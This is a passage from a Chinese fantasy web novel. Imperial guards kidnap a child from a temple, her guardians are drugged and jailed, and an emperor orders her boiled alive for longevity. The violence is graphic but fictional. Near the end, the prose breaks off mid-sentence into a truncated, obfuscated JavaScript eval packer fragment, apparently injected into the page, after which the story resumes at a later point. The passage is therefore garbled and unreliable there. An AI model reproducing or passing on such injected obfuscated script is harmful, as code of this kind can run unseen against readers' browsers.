步云邪也没了主意,静了片刻,叹了口气道:“回去干什么,给那老头儿炼药?长生丹缺一味忘川河水,炼不出来的。” 光在后头想也没结果,段星河道:“要不我先去前头看看,你在这儿等着吧。” 他迈步出了门,去前头花厅见客。院子里站着好几排人,一个个都人高马大的,显得来者不善。李玉真和宋胡缨已经到了,在旁边陪坐。一个三十出头的男子穿着黑色绣金浪涛纹的侍卫服,胸前有七品犀牛的纹样,坐在上首客位,看来便是那些人的头领了。 段星河大步走了进去,道:“我是段星河,请问阁下是?” 那人还算客气,起身道:“在下周绛,是大幽御前侍卫副统领。” 段星河一抬手,示意对方请坐,道:“原来是周大人,千里迢迢来巴蜀,有何贵干?” 周绛道:“步大人离开大幽已久,一直没有回音。陛下很担心,让我们前来找他。” 一群小孩子听说来了外人,很是好奇,跟着魏小雨来到侧面的窗户外,探头探脑地在外面偷听。段星河注意到了魏小雨脑袋上的揪揪,皱起了眉头,这些熊孩子越来越没规矩了。他打了个眼色,示意她赶紧把人带走。魏小雨却装没看见,想要听听他们说什么。 周绛喝了一口茶,抬眼看过来。段星河道:“步大人很好,多谢陛下关怀。” 周绛舒了口气,道:“那就好,陛下听说你们前阵子战胜了不少妖魔,宣传了钦天监的正面形象,是有功之臣。他下了一道圣旨嘉奖各位,请步大人出来听旨吧。” 段星河迟疑了一下,道:“他这几天身体不适,我代他接旨吧。” 周绛没坚持,道:“也好。” 他站起身来,大手一伸,一名侍卫弓着腰捧来了皇帝的圣旨。周绛朗声念道:“奉天承运皇帝诏,曰:钦天监司正步云邪,率段星河、魏小雨等人斩妖除魔,弘扬我大幽正气,朕深感欣慰。封步云邪为从五品司监,段星河为七品司历,魏小雨为八品观星博士,着回大幽任职,钦此。” 众人都十分意外,本来以为这些人大老远找上门来,必然要对他们一顿斥责。没想到对方非但没有责骂他们,反而还给了嘉奖。周绛道:“段大人,请接旨吧。” 段星河接了过去,周绛微微一笑,道:“恭喜,段大人,升职了。” 段星河的目光微动,心里却没有这么高兴。皇帝圣旨上虽然说得好听,却总让人觉得有些不踏实。被一声不吭就撂下这么久,是个人都要窝一肚子火,何况他贵为皇帝。若不是为了长生丹,就凭他受的这个气,恐怕早就让人把他们的皮都扒下来了。 魏小雨不知道他们之间的勾心斗角,在外面听见了自己的名字。她从窗户外探出了脑袋,道:“观星博士是什么?” 段星河怕她被那帮人盯上了,皱眉道:“没规矩,谁让你偷听了,赶紧回去!” 周绛却道:“无妨,小淑女,你就是段大人的小妹子魏小雨么?” 魏小雨一直都被人叫做野丫头,还是头一次被称呼为小淑女。她有点高兴,觉得从大地方来的人就是不一样。她道:“我就是魏小雨,我书读得不多,你们让我当什么博士?” 周绛的神色亲切,道:“观星博士是钦天监的八品官,是替陛下夜观天象,辅助修历法的。陛下听说你聪明伶俐,法力高强,想请你去大幽效力。” 宋胡缨对她悄悄摇了摇头,示意她别被这些人几句甜言蜜语哄了。魏小雨犹豫了一下,道:“我不去,谁知道你们是不是坏人。” 虽然大家都是这么想的,但也不好就这么直接说出来。李玉真连忙道:“童言无忌,阁下别见怪。” 周绛便笑了,道:“没关系,小淑女一派纯真,果然与李大人所说的一样。” 段星河皱起了眉头,果然是李如芝在背后嚼了舌根,要不然他们也不至于连自己的小妹子是谁都知道了。 他道:“李司正说了很多我们的事?” “是,”周绛毫不避讳道,“李大人前阵子回到了宫里,在陛下面前美言,说他受了伤,多亏了步大人和段兄的救治。他说你们一直在收集药材,为陛下努力炼制丹药,特别辛苦。” 段星河觉得这有点超出自己对李如芝的了解了,难不成他这一回死里逃生,真的转了性子,开始领他们的情了? 周绛的态度十分温和,仿佛真的把他们当成了一心为朝廷效力的大忠臣。段星河只好道:“我们一直谨记着使命,只是山高路远,不便回信。但我们一直都心系陛下。” 周绛道:“那太好了,陛下说外头太危险,让我们接诸位回钦天监炼丹。” 对方虽然客气,但难保不会有诈。段星河不好正面回绝,使出了一个拖字诀,道:“步大人最近身体不太好,不方便远行。” 对方好像已经料到他们会是这样的反应,也不着急。周绛道:“陛下说了,你们事务繁忙,理应多多体谅。我们可以住下等几天,等步大人身体好了,再护送他回去。” 段星河没什么办法,只能随他们去了。周绛等人相当不见外,自己背着行李去了后面,就在客房里住下了。五十来个人挤在白云观里,住不开的人就在孩子们上课的地方打地铺。一群人还挺注重自我管理的,每天清晨鸡一叫就起来绕着白云观跑操,没事还要占据练武场耍刀枪棍棒,结对儿摔跤练拳。 他们都是朝廷派来的,每天吃的不能太差,每人每顿一大碗白米饭,配着蔬菜、鸡蛋和肉,比供灶王爷还要用心。家里屯的几大缸粮食很快就吃完了,赵大海天天都得下山去买菜,买完了再做饭,做完饭还要刷碗。饶是他这么喜欢做饭的人,都被整治的头大如斗。 这天他在厨房里干活,结香累的焦头烂额,道:“哥,他们什么时候走啊?” 赵大海沉着脸道:“不知道,你问大师兄去。” 结香道:“大师兄好像要继续拖着。可他们这么能吃,我怕咱们家被吃空了。” 赵大海吭哧吭哧地刷着锅,越想越气。他本来还以为收容李司正养了伤,好吃好喝地伺候几天能感化他们。没想到那混蛋一回了大幽,就喊了这么一堆蝗虫来,白吃白喝的简直要把人累死了,简直是好心没好报。他积压了半个月的脾气爆发出来,忽然把丝瓜瓤一扔,掀下围裙来道:“我去问问。” 他经过侧院,见一群小徒弟蹲在花圃旁边,正在百无聊赖地铲沙子。魏小雨道:“他们说要给我大编制,你们说我要不要去?” 明月憨憨地说:“什么是编制?” 魏小雨前两天去问过司空玉,她说编制跟她的县主头衔差不多,就是朝廷给的铁饭碗,不少人抢破头都想要的。晓风谨慎道:“他们可别是骗子,哄你过去就不给了。” 魏小雨道:“不给我就回来,继续和你们在一起。” 朝露只恨这么大的好事没落在自己头上,道:“没出息,要是我我就去!” 魏小雨转头看着她,道:“你不怕他们骗你啊?” 朝露把铲子往沙堆里深深一插,豪情万丈道:“富贵险中求嘛。再说有大师父和二师父跟着,有什么好怕的?” 魏小雨有点心动,眼睛转来转去的,没再说话。赵大海走过来道:“你们怎么不去练功,大白天在这里胡混。” 明月站了起来,有点委屈地说:“练武场上好多人,上课的地方也被他们占去住了,我们没地方待。” 那帮人赖在这里,遭殃的不止厨房的人,孩子们也没法学习,正常的生活都被扰乱了。赵大海本来就生气,听了这话更烦躁了,悻悻道:“还没处说理了呢!” 段星河最近天天都见有人来抱怨,昨天六幺来说他们占着练武场,枪棒都被他们拿去耍了,自己想活动活动都找不到地方。方才宋胡缨抱着小对眼过来,气呼呼地说:“有几个侍卫毛手毛脚的,你管不管?” 段星河一诧,寻思着敢对她不敬的男人,根本不用别人动手,脑袋直接就被她削下来了。他道:“怎么回事?” 宋胡缨道:“他们乱摸小对眼。” 步云邪跟李玉真在隔间下棋,听见忍不住笑了。李玉真探出头来道:“怎么了,我看看。” 他接过了小对眼,它身上被烫掉的毛已经长出来了,毛茸茸的十分可爱,难怪那帮人忍不住要摸。宋胡缨愤愤道:“好几个人上来对它一通乱摸,跟没见过猫似的。小对眼急了眼,把人挠了,你说是谁的问题?” “当然是他们的问题,”段星河道,“手欠的活该嘛。” 宋胡缨道:“那人急了眼,抬脚就要踹小对眼。幸亏我在旁边护住了,要不然它挨一脚还能活吗?” 段星河的表情凝重起来,道:“那人怎么样了?” 宋胡缨一向以眼还眼以牙还牙,冷冷道:“我给了他一脚,把他踹到墙边上去了。” 段星河瞬间仿佛听到了骨折的声音,回头看步云邪,道:“有人去找你治伤了吗?” 步云邪在隔间道:“没有,应该伤的不重,不用管他了。” 段星河看了看小对眼,它趴在李玉真怀里打了个呵欠,看起来没被吓着。他道:“没事离他们远点好了。” 宋胡缨有点恼火,道:“他们什么时候走啊,都忍了半个月了。” 段星河也希望他们赶紧离开,但朝廷的人非要赖在这里,他们也不能硬撵。李玉真道:“要是步兄不跟他们走,他们难道就要一直赖在这里吗?” 步云邪揉了揉眉心,现在最不乐意听这个。大家都不希望他去大幽,段星河也护着他,但这么拖下去,所有人都受不了了。赵大海从外面进来,眉头拧成了个川字,气愤愤地道:“大师兄,家里没钱吃饭了,你看着办吧!” 段星河每个月都给他不少伙食费,钱肯定是够了的,但天天买菜做饭实在很累人。而且那帮人吃了白吃,还觉得理所当然,看着也挺气人的。 他受了委屈,段星河只能安抚道:“这段时间你干那么多活辛苦了,我给你和结香添点补助。” 赵大海听说有补助,心里稍微好受了一点,随即又道:“还有伏顺,他这段时间一直给他们干活。昨天下午那帮人踢了一场球,一身臭汗要洗澡。光洗澡水顺子就帮他们扛了好几十桶!” 段星河顿时感到一阵汗流浃背,如果是真的,伏顺也太可怜了。不过他倒是还没见伏顺来抱怨,大约是昨天累的爬不起来了,现在还在屋里睡觉呢。 李玉真道:“段兄,老这样不是个办法。你是当家的,想个对策吧。” 赵大海心烦地说:“想什么办法,把他们的铺盖卷扔出去,让他们滚蛋!” 李玉真道:“那些都是大幽朝廷的人,这么简单粗暴不太好吧?” 宋胡缨也很恼火,道:“管他呢,直接撵出去。他们再敢找麻烦,姑娘就把他们的狗腿打断!” 这么多人都大动肝火,段星河却还是一副沉得住气的模样,道:“我知道了,你们先回去吧。” 赵大海道:“大师兄,那你管不管啊?” 段星河笑了,道:“咱们都受不了了,那你说他们心里烦不烦?” 赵大海道:“我看他们挺乐呵的。” “都是装出来的,”段星河道,“他们大老远来,没法回去复命,心里还不知道急成什么样了呢。一天天的故意给咱们添堵,就说明他们快撑不住了。” 李玉真道:“那怎么办?” 段星河道:“再拖几天吧,他们熬不住早晚得撤。” 李玉真道:“他们要是摇更多人来呢?” 山高路远的,他们总不能直接派个军队过来。就算他们要来硬的,自己在这里以逸待劳,大家的修为也比他们强多了,打起来肯定不会吃亏。 段星河安慰道:“不会的,再熬两天,就当他们不存在。” 大家有些憋气,但也没办法直接跟他们起冲突,只能听大师兄的。李玉真抱着小对眼出了门,宋胡缨和赵大海跟在后面。 众人都走了,段星河坐着没动。步云邪从里屋走出来,在他旁边的太师椅上坐下了,道:“抱歉,给你们添麻烦了。” 段星河道:“跟你没关系。他们知道自己遭人嫌,早晚得走。” 他虽然这么说,听了那么多人的抱怨,也有些疲惫。老皇帝对长生丹的渴求十分强烈,他把他们当成了一根救命稻草,不肯轻易舍弃。不过好在他也没有多久可活了,他儿子还年轻,不信长生不老那一套,等到新皇帝一登基,肯定就把他们抛到脑后去了。 步云邪其实已经想好了,自己毕竟是从钦天监出来的人,老这么逃避不是办法。如果他们真的非要带自己回去,他就去走一趟。他这段时间炼了不少药,带回去糊弄那老头儿一下。当初自己借给了他三年阳寿,两人冥冥之中性命相连,他下不了手杀自己的。 他道:“实在不行我就去一趟。” 段星河立刻道:“别去,一帮人嘴上说的好听,谁知道他们安什么心。” 步云邪沉默下来,知道他是为自己好。段星河的态度缓和下来,温声道:“听我的 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他拿起来一看,顿时慌了,先跑来找大师父。段星河看了一眼,脸色立刻变了,只见上头写道:“我等在此叨扰已久,多谢段兄招待。既然步大人病体未愈,我等带魏小淑女回大幽拜见陛下也是一样。山高路远,不必挂怀。周绛。” 步云邪听见了声音,从隔壁过来了,道:“怎么了?” 段星河把纸条递给他,大步跑到魏小雨的房中。屋里空荡荡的,她应该是半夜睡觉的时候被人撬开房门绑走了。他转身往客房那边奔去,见一整个院子的屋子都空了。那帮人蓄谋已久,抓到小雨就趁着夜色逃走了。不愧是御前侍卫,果然训练有素,那么多人行动起来,愣是一点声音都没出。 赵大海从外头跑过来,道:“不好了,马厩空了,那么多马都没了,怎么回事啊?” 段星河道:“人都跑了。” 赵大海还没反应过来,本来以为是有贼,此时松了口气,咧嘴道:“喔,他们走了吗。好事啊,不用给他们做饭了。” 段星河沉着脸道:“他们把小雨绑走了。” 赵大海的表情凝固在脸上,道:“啊?” 段星河抓了抓头发,道:“半夜抓走的,不知道走的哪条路,现在去追还来得及。我去吧。” 步云邪道:“我也一起去。” 段星河心烦道:“他们就是冲你来的,你去干什么?” 步云邪知道自己总不能逃一辈子,直视着他道:“他们想逼我回大幽,再躲下去也只会连累身边的人。” 李玉真等人听见了声音,纷纷围了过来,低声道:“怎么了?” 赵大海跟他们说了,众人都很惊讶,司空玉皱眉道:“他们也太卑鄙了,事办不成就把孩子掳走。” 李玉真也道:“真的是下三滥行径,一帮吃皇粮的,干的事跟土匪一样!” 段星河跟步云邪僵持了片刻,实在不愿他身陷险境。步云邪道:“你自己一个人去,我也不放心,咱们两个还能互相照应。” 太阳渐渐升起来了,没时间耽搁了。段星河终于松了口,道:“去收拾东西。” 步云邪立刻转身回了丹房,拿了丹药、钱和兵刃。出来的时候,段星河手里提着剑和行囊,在门廊前托付李玉真道:“我们会尽快回来。万一有应付不了的情况,就带孩子们去蜀山。” 李玉真道:“放心吧,这里那么多人呢,个个都能打。” 瀚海大师也道:“我在这里守着,你们放心就是了。” 他身躯厚实的像一堵墙一样,手臂粗壮,背上一条过肩龙张牙舞爪的相当威猛。谁敢来犯白云观,总得掂量掂量自己的大腿能不能拧得过这大和尚的胳膊。 段星河和步云邪牵出了马,循着踪迹往北而行。先前他们一路上遇见了许多妖魔,回去时周绛走了北边的一条捷径,中间穿过燕丘,草原广袤平坦,行路很快。 两人一路跟燕丘的牧民打听,那一队人十分明显,不少人都见过。周绛等人骑的马日行千里,宁可一天只睡一两个时辰也要日夜兼程,偏不让他们追上。段星河和步云邪知道周绛是铁了心要把他们带回去,反正是躲不过这一劫,只得一路跟到了大幽都城。 两人进了城门,街道开阔,宫室隐约浮现在远处,一派恢弘气象。两年前他们就是这个时候离开了大幽,踏上了旅程。当时走的时候觉得前路茫茫,却也没有什么好怕的,反正他们孑然一身,没什么好失去的。 如今再回来,城中熙熙攘攘的,跟记忆里好像没什么变化。街边的大杨树郁郁苍苍,步云邪骑在马上,回头看着路边的公告牌,道:“当时我还在这里贴过告示,找你跟伏顺他们呢。” 段星河道:“那时候我应该已经被关在采石场里了。” 他想起自己刚来这里的时候,为了生存还在街上给人算命,挣几个铜板吃馒头就着冷水,晚上睡大通铺,就凭着一股子倔劲儿硬是把他们都找回来了。段星河的目光坚定,从前他能保护身边的人,如今他仍然可以做到。 魏小雨被周绛带到了都城,此时不是进了宫,就是在钦天监。李司正他们应该在钦天监等着自己了,就先去钦天监交涉好了。 他们转过几道街巷,到了钦天监跟前。茂密的树荫笼罩着钦天监的金字牌匾,周围站着几个挎着刀的守卫,透出一股森严的气势。步云邪深吸了一口气,道:“到地方了。” 伸头缩头都是一刀,段星河道:“进去吧。” 两人翻身下了马,出示了腰牌,进了钦天监。周绛比他们早到一天,把人送下就回宫复命了。这里的人仿佛知道他们俩早晚得来,一点也不意外。管事的笑容可掬道:“两位大人一路辛苦了。李大人最近天天念叨着,很想你们呢。” 段星河懒得跟他们玩虚的,直接道:“我小师妹呢?” 管事的道:“啊……这,小人不清楚。李大人马上就来,两位大人有什么事跟他说就是了。” 两人进了花厅落座,一名丫鬟端了茶水和点心过来,道:“两位请稍等片刻,用些茶点。” 两人风尘仆仆的,在屋里坐了良久,也不见李司正过来。步云邪低声道:“他摆什么架子?” 段星河道:“给下马威呗。别管他,先歇一会儿吧。” 水放凉了,丫鬟进来换了两次茶。步云邪着实渴了,端起杯子喝了一口,单丛的香气很馥郁。段星河坐着无事,也喝了一杯水。太阳升到了头顶,已经午时了,不知道李如芝还要多久才来。 就在这时候,步云邪忽然感到一阵头晕。他手里的杯子落在了地上,哗啦一声摔得粉碎,人也向后倒在了椅子上。 “你怎么了?” 段星河下意识站了起来,却感觉身体不听使唤,眼前一阵阵发黑,就这么摔倒在地。 他暗中运气,却感觉真气无法聚起,竟是中了他们的毒。李如芝到底是个丹修,手头能对付人的东西太多了,根本防不胜防。 段星河的意识还没完全消失,眼睛睁着一线望向门口。李司正带着一队侍卫走了进来,脸上带着得意的笑容。他弯下腰,拍了拍段星河的脸道:“还挺小心的,换了三回茶才喝。只是你都来到我的地头上了,能防的住么?” 段星河的眼睛已经失去焦距了,他想过一切可能出现的情况,却没想到对方会这么不要脸。他从牙关里咬出几个字:“你……卑鄙……” 李如芝一巴掌掴在他脸上,恨声道:“我卑鄙?老子受了你们多少折磨,这条命都快没了。如今你们落在我手上,我非让你知道什么叫活地狱不可!” 他站了起来,扬声道:“圣上有旨,步云邪与段星河二人怠慢皇命,藐视君威,钦天监奉命诱捕两名逆贼,给我拿下!” 116.镇魔司 二 大幽的修道者甚多,很多犯人并非一般牢狱能关得住的。钦天监后面有个监狱,叫做镇魔司,如蜀山的锁妖塔一般,是专门用来关押妖魔和法力高强的修道者的。镇魔司周围布有结界,门前有灵石凿成的镇灵符镇着,牢房的铁栏杆上刻着密密麻麻的符咒,能压制人身上的灵力。任对方的法力再高强,一旦被关进这里就如同龙困浅滩,很难逃出生天。 段星河动了一下,周围一片昏暗,他坐了起来,感觉身上像被抽空了似的,没有一点力气。步云邪躺在他旁边,段星河拍了拍他,道:“醒醒,没事吧?” 步云邪睁开了眼,有些迷茫。他靠着墙坐起来,道:“这是什么地方?” 段星河道:“这里应该是钦天监的大牢。” 他稍微一动,身上的铁链哗哗作响。走廊里昏暗的灯光照下来,手铐上刻满了符咒,一个个符文歪歪扭扭的,透着一股狰狞的恶意。段星河试着运气,一点力气也提不上来。镣铐感应到了他的行为,开始嗡嗡作响,骤然放出了一道白光。 段星河猛地一甩手,嘶地倒抽一口气,垂眼看时,皮肤已经被符咒烧伤了。 “这破玩意儿……”段星河恼火起来,把镣铐往地上砸了两下,镣铐很厚实,一点反应也没有。步云邪也被锁着,无计可施。他往外看了一眼,走廊昏暗,对面也有一排牢房,狱卒在远一点的地方站岗,空气里弥漫着一股难闻的气息,像是血腥气和发霉了的稻草、排泄物混在一起的味道。 段星河怒道:“绑架小孩儿、在茶水里下毒,做事一点下限也没有……老子错就错在太把他们当人了!” 一开始他们就胡乱抓人去采石场做苦力、草菅人命,用活人试药,上梁不正下梁歪,还有什么干不出来的。 段星河觉得自己早该跟这帮人一刀两断了,什么钦天监、朝廷命官,不过是一群披着人皮的畜生罢了。他道:“找找小雨在什么地方,如果有机会的话,杀出一条血路跑了算了!” 步云邪低声道:“那白云观的孩子们怎么办?” 段星河道:“换个地方待吧,树挪死人挪活,天下之大还能找不到一个容身之处么。” 他们在这个世界好不容易有了个家,却因为这些恶人又要从头再来。一想到这里,两个人都很沮丧。 义灵使现在应该在四灵山的山洞里沉睡,不知道能不能听见他们的声音。段星河不想坐以待毙,闭目凝神,试着召唤它。 他周身放出一道紫色的灵光,还没完全聚起来,就被镣铐上的符咒打断了。镣铐上闪过一道光芒,段星河顿时像被雷击了一样,闷哼了一声,手腕上的皮肤都烧焦了。步云邪吓了一跳,道:“没事吧?” 不愧是镇魔司的刑具,就是不一般。段星河意识到了这镣铐的厉害,额头上渗出了冷汗,哑声道:“身上锁着这玩意儿,什么也干不成。” 对面的牢房里有个人蜷缩成一团,正在睡觉。那人听见了两人说话的声音,忽然动了一下,坐起来扒着栏杆道:“大师兄,二师兄,是你们吗?” 光线映亮了她脏兮兮的小脸,却是他们一直在找的魏小雨。两人都十分意外,没想到她就被关在对面。段星河攥着栏杆,急切道:“是我,你没事吧?” 魏小雨道:“我没事,你们呢。” 段星河叹了口气,虽然现在没事,但接下来会怎么样就不好说了。步云邪道:“你怎么来的?” 魏小雨还有些迷糊,挠了挠头道:“我不知道。就是一天晚上有猫在外头叫,我以为小对眼在外面,就把门打开了。结果一个人把我打昏了,然后我再醒过来,发现就在路上了。” 她想了想,又道:“这一路上他们一天就给我吃一顿饭,吃完了就好困,不吃又好饿。我也不知道睡了多久,醒了就在这里了。” 周绛他们应该是给她用了迷药,这么对付一个小孩儿,实在太下作了。魏小雨困惑道:“你们怎么也在这里?” 步云邪道:“我们来找你。” 魏小雨啊了一声,自责地垂下了头,道:“对不起,都是我不小心……” 步云邪道:“不怪你,是那些人太歹毒了。” 魏小雨还有些不甘心,道:“他们在圣旨里不是说的挺好的吗,还要给我编制,为什么一来就把我关起来了?” 段星河道:“都是骗人的,以后记得一句话都别信他们。” 魏小雨以为只有邪修才会骗人,当官的肯定得要点脸面。没想到这些人耍起流氓来连脸都不要,比外头的无赖可地道多了。 这时候就听外头一阵脚步声响,一人沉声道:“人呢?” 牢头殷勤道:“在里头,我带您进去。” 一群人前呼后拥地走了过来,有人点起了石壁上的灯,把周围照亮了。几个人将一把交椅放在了牢门前,李如芝一撩官服,趾高气昂地坐下了。刘正阳狐假虎威地站在他身边,看着牢里的人露出了幸灾乐祸的表情,道:“呦,这是谁啊,怎么这么落魄了。几天不见,都成阶下囚了?” 前阵子自己刚救过他们,这帮白眼狼就恩将仇报,回来跟皇帝告黑状。李司正看着他,心情从来没这么愉快过,翘起了二郎腿道:“姓步的,你也有今天。” 步云邪心里窝着火,连看他们一眼都生气,闭着嘴一言不发。段星河知道他们想看自己气急败坏的样子,就偏不生气。他淡淡道:“我当是谁呢,原来是李大人。你欠我们二百两医药费,打算什么时候还?” 李如芝的脸微微抽搐,没想到都到了这个境地了,他们还有心情提这出。他冷冷道:“你以为救我一命,我就欠你的?你们这一路让我受了多少罪,老子今天就是要痛打你们这一对落水狗!” 段星河漠然道:“是么,我倒是想起一个故事,叫东郭先生与狼,不知道你听过没有?” 刘正阳喝道:“放肆,区区两个罪犯,敢在司正大人面前无礼!” 李司正深吸了一口气,情绪平静下来道:“不必跟他们废话。陛下因为你们的事很恼火,你们胆敢不把天子放在眼里,要为此付出代价。” 他的眼神阴沉,拨弄着手上的扳指,缓缓道:“当时我受伤躺在白云观的客房里,每天都在想,等我好起来,该怎么报复你们才好。” 他注视着那两个人,道:“杀了你——还是杀了他,都没有多大用。但有一种法子,能让你们生不如死。” 步云邪有种不好的预感,段星河也抬眼看着他,道:“你要干什么?” 李司正扬起了嘴角,露出了白森森的牙,道:“你不是很在乎那个小崽子吗?这些年走了那么远的路,费了这么大力气,就是为了找到她是不是?” 他一摆手,道:“把她拖出去。” 几名狱卒上前打开了牢门,用刻满了符咒的铁枷锁住了魏小雨的头颈和手腕。魏小雨拼命挣扎,情急之下咬了一个人一口。那人疼得恼火,劈手甩了她一巴掌,骂道:“小畜生,敢咬我!” 魏小雨的脸肿了,登时大哭起来。段星河用力砸栏杆,怒道:“放开她,欺负小孩儿算什么本事!” 刘正阳道:“这小妮子的灵力强得很,赶紧捆严实了,别让她的妖性发作出来!” 几个狱卒用铁链往她身上绕了几圈,像捆粽子似的把她捆了起来。那几个人把她扛了出去,魏小雨动弹不得,放声哭道:“你们干什么,救命!大师兄,救我!” 她的声音越来越远,段星河急得眼都红了,放声吼道:“放开她,有什么事冲我来,别伤害她!” 他把铁链拽的哗哗直响,那帮人却根本不理会他。步云邪扒着栏杆向外望,见他们拖着魏小雨拐过一个弯就没影了。这地方有的是刑具,偌大的汉子尚且受不了,万一这些人要折磨小雨,段星河实在不敢想。 他答应过师父要好好照顾小雨的,却只能眼看着她被人抓走。段星河狠狠地踢了牢门一脚,栏杆上的符咒骤然发出白光,嗡地一声把他打的摔倒在地。 刘正阳十分得意,大笑道:“让你狂,这地方就算天王老子来了,也使不出半点本事。你自己就在钦天监供过职,怎么不知道它有多厉害?” 段星河浑身又疼又麻,蜷曲着身体,抽筋似的一时间动弹不得。步云邪护住了他,低声道:“星哥,好汉不吃眼前亏,别理他们。” “这就对了,”李如芝露出了笑容,“安静下来,早点认命早完事儿。陛下就要来了,这场好戏,大家一起看才有趣。” 他站了起来,道:“步大人,你跟我来吧。” 步云邪皱眉道:“去哪里?” 李司正道:“陛下点名要见你,有些话他要亲自问你。” 他说罢当先走了,几名狱卒上前打开了牢门。段星河身上还在一阵阵发麻,怒道:“别动他!” 那几个人七手八脚的,已经把步云邪拽出去了。另外几个狱卒按住了段星河,道:“别乱动!” 段星河一挣扎,身体又被镣铐击伤了,疼得额头上渗出了冷汗。那几个狱卒哈哈大笑,一人道:“我劝你少费点力气,见过关在笼子里的鸟没有?那些非要乱飞乱撞的,活活把自己撞死也没人可怜。你是傻子还是聪明人?” 另一个狱卒道:“你跟他说这些干什么?” 那人道:“陛下还没给他定罪呢,他要是死了,咱们不也得担责任?” 段星河喘着气,渐渐冷静下来。自己落在他们手上,光这么硬拼不是办法,得保存力气,找机会逃出去。那个狱卒见他不动了,道:“这就对了,歇会儿吧,一会儿还得提你出去问话呢。” 步云邪被押到一间偏殿里,这边是镇魔司审问犯人的地方,房梁和墙上都刻满了符咒,密密麻麻的纹样让人头皮发麻。庆熙帝坐在上首,穿着一身明黄色圆领蟠龙袍,脸色阴沉。两年没见,他比之前苍老了许多,头发和胡须已经全白了。 他垂眼看着步云邪,缓缓道:“步爱卿,好久不见了,你可还记得朕啊?” 步云邪道:“臣在外飘零两载,无一日不念着陛下。” 皇帝冷笑了一声,道:“好一个无一日不惦记着朕,这么长世间音讯全无,我还以为你早就把朕忘了呢。” 他越想越气,重重一拍桌案,道:“枉朕这么信任你,你为什么要背叛朕!” 天子发起怒来,压迫感着实强大。步云邪头上渗出了冷汗,此时的情势命悬一线,他无论如何也不能承认自己早就把他抛到脑后了。自己还有机会跟皇帝分说几句,段星河和小雨连辩白的机会都没有,全靠自己了。步云邪把心一横,两行眼泪流了下来,道:“臣冤枉!” 他生的清雅秀气,落起泪来让人忍不住心生同情,万般恨意都淡了三分。皇帝道:“你还委屈?” 他虽然这么说,口气却不觉缓和了几分。李如芝在旁边看着,忍不住有点恼火,心想这臭小子就知道在陛下面前做作,骗取他老人家的同情。但皇帝就吃这一套,虽然恨不能打他五十大板,却又偏偏下不去手。 步云邪道:“臣在外面九死一生,好不容易收集到了长生丹要用的药材,却被人在背后诬陷。这一路李司正都在跟我们抢功劳,我以陛下为重,没跟他计较,但他却怀恨在心。之前他被妖魔弄伤了,也是我为他治了伤,却没想到他恩将仇报,把恨意发到了臣的身上。” 李如芝皱起了眉头,没想到他都成了阶下囚了,还敢当面诋毁自己。步云邪却道:“此人善妒又爱搬弄是非,专门伤害忠臣。这样下去陛下身边的人都被他害死了,无人可用,岂不是陛下的损失!” 老皇帝浑浊的眼里放出阴沉的光,玩味地看着他,道:“你觉得你是忠臣?” 步云邪一片真诚,断然道:“臣对陛下之心,可昭日月。” 这些话要是换在一年前说,皇帝指不定就信了。但他苦等了这么久,这年轻人实在让他很失望。皇帝冷冷道:“那你怎么这么久都不回禀朝廷?” 步云邪道:“外面太危险了,我们一路遇上了很多妖魔,差点就死了。李司正也身受重伤,去了那么多人,回来的只有寥寥数个。而且山高路远,实在通信不便。但我们一直都想着陛下,本来打算九月就回城的,没想到陛下先一步派人来接了。” 皇帝道:“那你的丹药炼成了么?” 步云邪道:“长生丹是世间稀有的神物,需要花一些时间。但臣已经炼了一些其他的延年益寿的丹药,陛下可以先服用着。” 皇帝就知道他会这么说,一天到晚拿些没用的东西打发自己。他冷冷道:“不必了,朕已经有代替品了。能把它找来,也算是你们为朕做了一点有用的事。” 步云邪有种不好的感觉,李司正在旁边袖手站着,露出了一丝冷笑。 皇帝一摆手,几个人扛来了一个青铜大鼎。有人在鼎下面架起了柴,点了火,又在鼎里加上了水。 皇帝淡淡道:“步爱卿,听说你的小妹子生来就法力高强,是先天玄阴圣体。据说这样的灵童百年难得一个,吃了能多活几十年,就算你们孝敬朕了吧。” 步云邪一惊,无论如何也想不到他们居然会这么做。灾年流民易子而食,已经惨绝人寰了。他贵为天子,竟然也要做这样的事。难怪那些侍卫要把小雨绑过来,不止是要把自己和段星河骗过来,更是因为皇帝一早就听信了谗言,要吃她的肉。 这种荒诞的事,一般人根本就不会相信。可皇帝行将就木,他苍老的灵魂恐惧死亡,怕得简直要发疯,就算有一点能活下去的希望,他也要试一试。 步云邪急道:“陛下,小雨只是个普通的小孩儿。什么先天圣体,根本就是无稽之谈,陛下万万吃不得!” 李如芝出声道:“天下的臣民都是陛下的儿女,君要臣死,臣不得不死。父要子亡,子不得不亡。这不是吃人,而是孝道。你们身为臣民,难道为陛下做一点小小的牺牲都舍不得吗?” 这是性命攸关的事,被他说出来,却只是小小的牺牲。步云邪怒视他道:“就是你胡言乱语,编造谣言欺骗陛下,是不是!” 李如芝道:“你的小妹子本来就是先天圣体,明明是你隐瞒不报,怎么叫我胡言乱语。” 两个人针锋相对,步云邪气得捏紧了拳头,恨不能过去揍他。刘正阳护在了李司正身前,道:“你想干什么,在陛下面前,你还敢动粗不成?” 大鼎里的水开始沸腾了,鱼眼泡一个接着一个。皇帝冷冷道:“宁可错杀,也不能放过。把那小孩儿带上来。” 几个侍卫把魏小雨扛了过来,扔在了铜鼎旁边。她嘴里塞着布,因为恐惧睁大了眼,眼泪不住往下淌。步云邪急了,膝行几步上前,道:“陛下,万万不可啊!” 皇帝却毫不动容,道:“把另一个小子也弄上来,让他亲眼看看忤逆朕的结果。” 有人把段星河从牢里拖了出来。他见魏小雨和步云邪都在这里,有种不好的预感,道:“你们干什么,放开我小师妹!” 几个膀大腰圆的大力士把他按在了地上,道:“老实点,别冲撞了陛下。” 另外几个人按住了步云邪,庆熙帝的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他撕心裂肺地惨叫,挣扎,却无法挣脱压制。那情形太过残忍,步云邪感到一阵恶心,不住反胃。他看不下去了,皇帝却道:“让他看!” 一只大手抬起了他的下巴,逼着他看烹煮活人的情形。李司正目不转睛地盯着大鼎,笑的越发兴奋了。锅里的人渐渐不再挣扎了,大殿里弥漫着一股奇异的香气。不是肉味,却极其诱人。 锅里没有冒出血沫,只是浮起了一蓬乱糟糟的头发。众人觉得有些奇怪,皇帝皱起了眉头,道:“怎么回事,李爱卿,你去看看。” 李如芝走过去,见鼎里飘上来一张人皮,里头没有内脏和血肉。正常人总得留下一副骨架,但锅里的骨头一煮就粉碎了,这情形十分诡异,让人理解不了到底是怎么一回事。 